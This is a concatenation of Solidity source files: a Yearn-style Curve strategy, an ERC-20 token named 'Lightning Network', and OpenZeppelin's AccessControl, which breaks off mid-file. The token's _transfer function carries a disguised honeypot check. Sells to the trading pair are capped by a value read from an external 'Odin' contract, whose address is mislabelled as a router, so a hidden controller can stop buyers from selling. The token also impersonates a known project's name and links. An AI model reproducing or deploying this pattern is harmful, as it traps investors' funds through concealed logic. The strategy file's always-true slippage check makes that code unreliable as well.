* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
* ```
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
* ```
*/
function protectedTokens() internal view virtual returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// File: Strategy.sol
// Import interfaces for many popular DeFi projects, or add your own!
//import "../interfaces/<protocol>/<Interface>.sol";
contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
ICurveFi public curvePool;// = ICurveFi(address(0x4CA9b3063Ec5866A4B82E437059D2C43d1be596F));
Zap public zapOut;
ICurveFi public basePool;
ICrvV3 public curveToken;// = ICrvV3(address(0xb19059ebb43466C323583928285a49f558E572Fd));
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
VaultAPI public yvToken;// = IVaultV1(address(0x46AFc2dfBd1ea0c0760CAD8262A5838e803A37e5));
//IERC20Extended public middleToken; // the token between bluechip and curve pool
uint256 public lastInvest;
uint256 public minTimePerInvest;// = 3600;
uint256 public maxSingleInvest;// // 2 hbtc per hour default
uint256 public slippageProtectionIn;// = 50; //out of 10000. 50 = 0.5%
uint256 public slippageProtectionOut;// = 50; //out of 10000. 50 = 0.5%
uint256 public constant DENOMINATOR = 10_000;
uint8 private want_decimals;
uint8 private middle_decimals;
int128 public curveId;
uint256 public poolSize;
bool public hasUnderlying;
address public metaToken;
bool public withdrawProtection;
constructor(
address _vault,
uint256 _maxSingleInvest,
uint256 _minTimePerInvest,
uint256 _slippageProtectionIn,
address _curvePool,
address _zapOut,
address _curveToken,
address _yvToken,
uint256 _poolSize,
address _metaToken,
bool _hasUnderlying
) public BaseStrategy(_vault) {
_initializeStrat(_maxSingleInvest, _minTimePerInvest, _slippageProtectionIn, _curvePool, _zapOut, _curveToken, _yvToken, _poolSize, _metaToken, _hasUnderlying);
}
function initialize(
address _vault,
address _strategist,
uint256 _maxSingleInvest,
uint256 _minTimePerInvest,
uint256 _slippageProtectionIn,
address _curvePool,
address _zapOut,
address _curveToken,
address _yvToken,
uint256 _poolSize,
address _metaToken,
bool _hasUnderlying
) external {
//note: initialise can only be called once. in _initialize in BaseStrategy we have: require(address(want) == address(0), "Strategy already initialized");
_initialize(_vault, _strategist, _strategist, _strategist);
_initializeStrat(_maxSingleInvest, _minTimePerInvest, _slippageProtectionIn, _curvePool, _zapOut, _curveToken, _yvToken, _poolSize, _metaToken, _hasUnderlying);
}
function _initializeStrat(
uint256 _maxSingleInvest,
uint256 _minTimePerInvest,
uint256 _slippageProtectionIn,
address _curvePool,
address _zapOut,
address _curveToken,
address _yvToken,
uint256 _poolSize,
address _metaToken,
bool _hasUnderlying
) internal {
require(want_decimals == 0, "Already Initialized");
require(_poolSize > 1 && _poolSize < 5, "incorrect pool size");
curvePool = ICurveFi(_curvePool);
zapOut = Zap(_zapOut);
if(_metaToken != address(0)) {
basePool = ICurveFi(curvePool.pool());
metaToken = _metaToken;
for(uint i = 0; i < _poolSize; i++){
if( i == 0){
if(curvePool.coins(0) == address(want)){
require(false, "ONLY USE META FOR BASE");
}
}else{
if(curvePool.base_coins(i-1) == address(want)){
curveId = int128(i);
break;
}
}
if(i == _poolSize - 1){ // doesnt matter if it overflows
require(false, "incorrect want for curve pool");
}
}
} else {
basePool = ICurveFi(_curvePool);
if(curvePool.coins(0) == address(want) || (_hasUnderlying && curvePool.underlying_coins(0) == address(want) )){
curveId = 0;
}else if ( curvePool.coins(1) == address(want) || (_hasUnderlying && curvePool.underlying_coins(1) == address(want) )){
curveId = 1;
}else if ( curvePool.coins(2) == address(want) || (_hasUnderlying && curvePool.underlying_coins(2) == address(want) )){
curveId = 2;
}else if ( curvePool.coins(3) == address(want) || (_hasUnderlying && curvePool.underlying_coins(3) == address(want) )){
//will revert if there are not enough coins
curveId = 3;
}else{
require(false, "incorrect want for curve pool");
}
}
maxSingleInvest = _maxSingleInvest;
minTimePerInvest = _minTimePerInvest;
slippageProtectionIn = _slippageProtectionIn;
slippageProtectionOut = _slippageProtectionIn; // use In to start with to save on stack
poolSize = _poolSize;
hasUnderlying = _hasUnderlying;
yvToken = VaultAPI(_yvToken);
curveToken = ICrvV3(_curveToken);
_setupStatics();
}
function _setupStatics() internal {
maxReportDelay = 86400;
profitFactor = 1500;
minReportDelay = 3600;
debtThreshold = 100*1e18;
withdrawProtection = true;
want_decimals = IERC20Extended(address(want)).decimals();
want.safeApprove(address(curvePool), uint256(-1));
curveToken.approve(address(zapOut), uint256(-1));
//deposit contract needs permissions
if(metaToken != address(0)){
IERC20(metaToken).safeApprove(address(curvePool), uint256(-1)); // 3crv
curveToken.approve(address(curvePool), uint256(-1));
}
curveToken.approve(address(yvToken), uint256(-1));
}
event Cloned(address indexed clone);
function cloneSingleSidedCurve(
address _vault,
address _strategist,
uint256 _maxSingleInvest,
uint256 _minTimePerInvest,
uint256 _slippageProtectionIn,
address _curvePool,
address _zapOut,
address _curveToken,
address _yvToken,
uint256 _poolSize,
address _metaToken,
bool _hasUnderlying
) external returns (address newStrategy){
bytes20 addressBytes = bytes20(address(this));
assembly {
// EIP-1167 bytecode
let clone_code := mload(0x40)
mstore(clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone_code, 0x14), addressBytes)
mstore(add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
newStrategy := create(0, clone_code, 0x37)
}
Strategy(newStrategy).initialize(_vault, _strategist, _maxSingleInvest, _minTimePerInvest, _slippageProtectionIn, _curvePool, _zapOut, _curveToken, _yvToken, _poolSize, _metaToken, _hasUnderlying);
emit Cloned(newStrategy);
}
function name() external override view returns (string memory) {
return string(abi.encodePacked("SingleSidedCrv", IERC20Extended(address(want)).symbol()));
}
function updateMinTimePerInvest(uint256 _minTimePerInvest) public onlyAuthorized {
minTimePerInvest = _minTimePerInvest;
}
function updateMaxSingleInvest(uint256 _maxSingleInvest) public onlyAuthorized {
maxSingleInvest = _maxSingleInvest;
}
function updateSlippageProtectionIn(uint256 _slippageProtectionIn) public onlyAuthorized {
slippageProtectionIn = _slippageProtectionIn;
}
function updateSlippageProtectionOut(uint256 _slippageProtectionOut) public onlyAuthorized {
slippageProtectionOut = _slippageProtectionOut;
}
function delegatedAssets() public override view returns (uint256) {
return vault.strategies(address(this)).totalDebt;
}
function estimatedTotalAssets() public override view returns (uint256) {
uint256 totalCurveTokens = curveTokensInYVault().add(curveToken.balanceOf(address(this)));
return want.balanceOf(address(this)).add(curveTokenToWant(totalCurveTokens));
}
// returns value of total
function curveTokenToWant(uint256 tokens) public view returns (uint256) {
if(tokens == 0){
return 0;
}
uint256 virtualOut = virtualPriceToWant().mul(tokens).div(1e18);
return virtualOut;
}
//we lose some precision here. but it shouldnt matter as we are underestimating
function virtualPriceToWant() public view returns (uint256) {
uint256 virtualPrice = basePool.get_virtual_price();
/*if(metaToken){
//warning: base virtual price is not cached and not live
virtualPrice = virtualPrice.mul(basePool.base_virtual_price()).div(1e18);
}*/
if(want_decimals < 18){
return virtualPrice.div(10 ** (uint256(uint8(18) - want_decimals)));
}else{
return virtualPrice;
}
}
/*function virtualPriceToMiddle() public view returns (uint256) {
if(middle_decimals < 18){
return curvePool.get_virtual_price().div(10 ** (uint256(uint8(18) - middle_decimals)));
}else{
return curvePool.get_virtual_price();
}
}*/
function curveTokensInYVault() public view returns (uint256) {
uint256 balance = yvToken.balanceOf(address(this));
if(yvToken.totalSupply() == 0){
//needed because of revert on priceperfullshare if 0
return 0;
}
uint256 pricePerShare = yvToken.pricePerShare();
//curve tokens are 1e18 decimals
return balance.mul(pricePerShare).div(1e18);
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
_debtPayment = _debtOutstanding;
uint256 debt = vault.strategies(address(this)).totalDebt;
uint256 currentValue = estimatedTotalAssets();
uint256 wantBalance = want.balanceOf(address(this));
if(debt < currentValue){
//profit
_profit = currentValue.sub(debt);
}else{
_loss = debt.sub(currentValue);
}
uint256 toFree = _debtPayment.add(_profit);
if(toFree > wantBalance){
toFree = toFree.sub(wantBalance);
(, uint256 withdrawalLoss) = withdrawSome(toFree);
//when we withdraw we can lose money in the withdrawal
if(withdrawalLoss < _profit){
_profit = _profit.sub(withdrawalLoss);
}else{
_loss = _loss.add(withdrawalLoss.sub(_profit));
_profit = 0;
}
wantBalance = want.balanceOf(address(this));
if(wantBalance < _profit){
_profit = wantBalance;
_debtPayment = 0;
}else if (wantBalance < _debtPayment.add(_profit)){
_debtPayment = wantBalance.sub(_profit);
}
}
/*if(doHealthCheck && debt > 0){
//set to 10_000 to let any profit through
if(profitLimitRatio < DENOMINATOR){
require(_profit < debt.mul(profitLimitRatio).div(DENOMINATOR), "PROFIT TOO HIGH");
}
require(_loss < debt.mul(lossLimitRatio).div(DENOMINATOR), "LOSS TOO HIGH");
}*/
}
function liquidateAllPositions() internal override returns (uint256 _amountFreed) {
(_amountFreed, ) = liquidatePosition(1e36); //we can request a lot. dont use max because of overflow
}
function ethToWant(uint256 _amount) public override view returns (uint256) {
address[] memory path = new address[](2);
path[0] = weth;
path[1] = address(want);
uint256[] memory amounts = IUni(uniswapRouter).getAmountsOut(_amount, path);
return amounts[amounts.length - 1];
}
function tendTrigger(uint256 callCost) public override view returns (bool) {
uint256 wantBal = want.balanceOf(address(this));
uint256 _wantToInvest = Math.min(wantBal, maxSingleInvest);
if(lastInvest.add(minTimePerInvest) < block.timestamp && _wantToInvest > 1 && _checkSlip(_wantToInvest)){
//return true;
}
}
function _checkSlip(uint256 _wantToInvest) public view returns (bool){
return true;
}
function adjustPosition(uint256 _debtOutstanding) internal override {
if(lastInvest.add(minTimePerInvest) > block.timestamp ){
return;
}
// Invest the rest of the want
uint256 _wantToInvest = Math.min(want.balanceOf(address(this)), maxSingleInvest);
if (_wantToInvest > 0) {
//add to curve (single sided)
if(_checkSlip(_wantToInvest)){
uint256 expectedOut = _wantToInvest.mul(1e18).div(virtualPriceToWant());
uint256 maxSlip = expectedOut.mul(DENOMINATOR.sub(slippageProtectionIn)).div(DENOMINATOR);
//pool size cannot be more than 4 or less than 2
if(poolSize == 2){
uint256[2] memory amounts;
amounts[uint256(curveId)] = _wantToInvest;
if(hasUnderlying){
curvePool.add_liquidity(amounts, maxSlip, true);
}else{
curvePool.add_liquidity(amounts, maxSlip);
}
}else if (poolSize == 3){
uint256[3] memory amounts;
amounts[uint256(curveId)] = _wantToInvest;
if(hasUnderlying){
curvePool.add_liquidity(amounts, maxSlip, true);
}else{
curvePool.add_liquidity(amounts, maxSlip);
}
}else{
uint256[4] memory amounts;
amounts[uint256(curveId)] = _wantToInvest;
if(hasUnderlying){
curvePool.add_liquidity(amounts, maxSlip, true);
}else{
curvePool.add_liquidity(amounts, maxSlip);
}
}
//now add to yearn
yvToken.deposit();
lastInvest = block.timestamp;
}else{
require(false, "quee");
}
}
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
uint256 wantBal = want.balanceOf(address(this));
if(wantBal < _amountNeeded){
(_liquidatedAmount, _loss) = withdrawSome(_amountNeeded.sub(wantBal));
}
_liquidatedAmount = Math.min(_amountNeeded, _liquidatedAmount.add(wantBal));
}
//safe to enter more than we have
function withdrawSome(uint256 _amount) internal returns (uint256 _liquidatedAmount, uint256 _loss) {
uint256 wantBalanceBefore = want.balanceOf(address(this));
//let's take the amount we need if virtual price is real. Let's add the
uint256 virtualPrice = virtualPriceToWant();
uint256 amountWeNeedFromVirtualPrice = _amount.mul(1e18).div(virtualPrice);
uint256 crvBeforeBalance = curveToken.balanceOf(address(this)); //should be zero but just incase...
uint256 pricePerFullShare = yvToken.pricePerShare();
uint256 amountFromVault = amountWeNeedFromVirtualPrice.mul(1e18).div(pricePerFullShare);
uint256 yBalance = yvToken.balanceOf(address(this));
if(amountFromVault > yBalance){
amountFromVault = yBalance;
//this is not loss. so we amend amount
uint256 _amountOfCrv = amountFromVault.mul(pricePerFullShare).div(1e18);
_amount = _amountOfCrv.mul(virtualPrice).div(1e18);
}
yvToken.withdraw(amountFromVault);
if(withdrawProtection){
//this tests that we liquidated all of the expected ytokens. Without it if we get back less then will mark it is loss
require(yBalance.sub(yvToken.balanceOf(address(this))) >= amountFromVault.sub(1), "YVAULTWITHDRAWFAILED");
}
uint256 toWithdraw = curveToken.balanceOf(address(this)).sub(crvBeforeBalance);
//if we have less than 18 decimals we need to lower the amount out
uint256 maxSlippage = toWithdraw.mul(DENOMINATOR.sub(slippageProtectionOut)).div(DENOMINATOR);
if(want_decimals < 18){
maxSlippage = maxSlippage.div(10 ** (uint256(uint8(18) - want_decimals)));
}
if(hasUnderlying){
zapOut.remove_liquidity_one_coin(toWithdraw, curveId, maxSlippage, true);
}else{
zapOut.remove_liquidity_one_coin(toWithdraw, curveId, maxSlippage);
}
uint256 diff = want.balanceOf(address(this)).sub(wantBalanceBefore);
if(diff > _amount){
_liquidatedAmount = _amount;
}else{
_liquidatedAmount = diff;
_loss = _amount.sub(diff);
}
}
// NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary
function prepareMigration(address _newStrategy) internal override {
yvToken.transfer(_newStrategy, yvToken.balanceOf(address(this)));
}
// Override this to add all tokens/tokenized positions this contract manages
// on a *persistent* basis (e.g. not just for swapping back to want ephemerally)
// NOTE: Do *not* include `want`, already included in `sweep` below
//
// Example:
//
// function protectedTokens() internal override view returns (address[] memory) {
// address[] memory protected = new address[](3);
// protected[0] = tokenA;
// protected[1] = tokenB;
// protected[2] = tokenC;
// return protected;
// }
function protectedTokens()
internal
override
view
returns (address[] memory)
{
address[] memory protected = new address[](1);
protected[0] = address(yvToken);
return protected;
}
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//SPDX-License-Identifier: MIT
// Website: http://lightning.network
// Telegram: http://t.me/lightningnetwork
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
uint256 constant INITIAL_TAX=4;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="LN";
string constant TOKEN_NAME="Lightning Network";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LightningNetwork is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(5);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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// SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;
import "./Context.sol";
import "./Strings.sol";
import "./ERC165.sol";
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
